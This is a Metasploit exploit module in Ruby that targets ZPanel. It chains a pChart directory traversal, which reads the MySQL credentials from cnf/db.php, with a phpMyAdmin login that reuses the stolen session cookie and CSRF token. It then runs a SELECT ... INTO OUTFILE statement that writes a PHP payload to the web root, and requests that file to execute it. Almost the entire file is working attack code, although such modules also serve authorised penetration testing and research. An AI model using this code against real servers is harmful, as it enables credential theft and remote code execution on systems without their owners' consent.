##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
require 'nokogiri'
require 'uri'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Zpanel Remote Unauthenticated RCE',
'Description' => %q{
This module exploits an information disclosure vulnerability
in Zpanel. The vulnerability is due to a vulnerable version
of pChart used by ZPanel that allows unauthenticated users to read
arbitrary files remotely on the file system. This particular module
utilizes this vulnerability to identify the username/password
combination of the MySQL instance. With the
credentials the attackers can login to PHPMyAdmin and execute
SQL commands to drop a malicious payload on the filesystem and
call it leading to remote code execution.
},
'Author' =>
[
'Balazs Makany', # pChart vuln discovery
'Jose Antonio Perez', # Found vulnerable version of pChart on ZPanel
'dawn isabel',
'brad wolfe',
'brent morris',
'james fitts'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '31173' ], # vulnerable version of pChart used by zpanel
[ 'OSVDB', '102595' ], # vulnerable version of pChart used by zpanel
[ 'URL', 'http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html' ],
[ 'URL', 'http://pastebin.com/y5Pf4Yms' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 30 2014'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
], self.class)
end
def get_setting(res, setting_name)
n = ::Nokogiri::HTML(res.body)
spans = n.search('//code//span//span')
found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
val = found_element.next.next.text
val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
end
def get_user(res)
get_setting(res, 'user')
end
def get_passwd(res)
get_setting(res, 'pass')
end
def get_dbname(res)
get_setting(res, 'dbname')
end
def dot_dot_slash(uri)
res = send_request_cgi({
'method' =>'GET',
'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
'vars_get' => {
'Action' => 'View',
'Script' => '../../../../cnf/db.php'
}
})
uname = get_user(res)
passwd = get_passwd(res)
dbname = get_dbname(res)
return uname, passwd, dbname
end
def get_token_from_form(res)
hidden_inputs = res.get_hidden_inputs
hidden_inputs.first['token']
end
def get_token_from_url(url)
u = URI(url)
u.query.split('&').each do |param|
param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
return param_value if param_name == 'token'
end
''
end
def grab_sess_and_token(uri)
print_status('Attempting to get PHPSESSIONID')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}"),
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
end
cookies = res.get_cookies
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
if sid.length > 0
print_good('PHPSESSID identified!')
print_good("PHPSESSID = #{sid.split("=")[1]}")
print_status('Attempting to get CSRF token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
'Cookie' => "#{sid}"
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
end
token = get_token_from_form(res)
cookies = res.get_cookies
cookies = cookies.split('; ')
cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"
if token.length > 0
print_good('CSRF token identified!')
print_good("CSRF token = #{token}")
return cookies, token, sid
else
print_error('CSRF token could not be identified...')
end
else
print_error('PHPSESSID could not be identified...')
end
end
def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
old_cookies = cookies
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
'cookie' => cookies,
'ctype' => 'application/x-www-form-urlencoded',
'headers'=>
{
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
},
'vars_post' => {
'pma_username' => uname,
'pma_password' => passwd,
'server' => '1',
'lang' => 'en',
'collation_connection' => 'utf8_general_ci',
'token' => token
}
})
cookies = "#{res.get_cookies}"
old_cookies = old_cookies.split("; ")
cookies = cookies.split("; ")
new_cookies = "#{old_cookies[0]}; "
new_cookies << "#{old_cookies[1]}; "
new_cookies << "#{old_cookies[2]}; "
new_cookies << "#{old_cookies[3]}; "
new_cookies << "#{cookies[0]}; "
new_cookies << "#{cookies[1]} "
new_cookies << "#{sess_id}"
token = get_token_from_url(res['Location'])
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
'cookie' => new_cookies,
'vars_get' => {
'token' => token
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
end
if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
print_good('PHPMyAdmin login successful!')
return new_cookies, token
end
end
def do_sql(cookies, token, uri)
fname = "#{rand_text_alpha_upper(5)}.php"
sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
'cookie' => cookies,
'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
},
'vars_post' => {
'is_js_confirmed' => '0',
'token' => token,
'pos' => '0',
'goto' => 'server_sql.php',
'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
'prev_sql_query' => '',
'sql_query' => sql_stmt,
'sql_delimiter' => ';',
'show_query' => '1',
'ajax_request' => 'true',
'_nocache' => rand.to_s[2..19].to_i
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
end
if res.body =~ /"success":true/
print_good("'#{fname}' successfully uploaded")
print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
print_status("Executing '#{fname}' on the remote host")
res = send_request_cgi({
'method'=>'GET',
'uri'=>normalize_uri("#{uri}", "#{fname}")
})
else
print_error("#{res.body.to_s}")
end
end
def exploit
# Checking pChart
res = send_request_cgi({
'method'=> 'GET',
'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
})
# if pChart is vuln version
if res.body =~ /pChart 2\.x/
uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
if uname.length > 0 && passwd.length > 0
print_good('Directory traversal successful, Username/Password identified!')
print_good("Username: #{uname}")
print_good("Password: #{passwd}")
print_good("DB Name: #{db_name}")
cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
print_status('Logging into PHPMyAdmin now')
cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
print_status('Uploading malicious payload now')
do_sql(cookies, token, "#{datastore['URI']}")
else
print_error('It appears that the directory traversal was unsuccessful...')
end
else
print_error("It appears that the version of pChart is not vulnerable...")
end
end
end
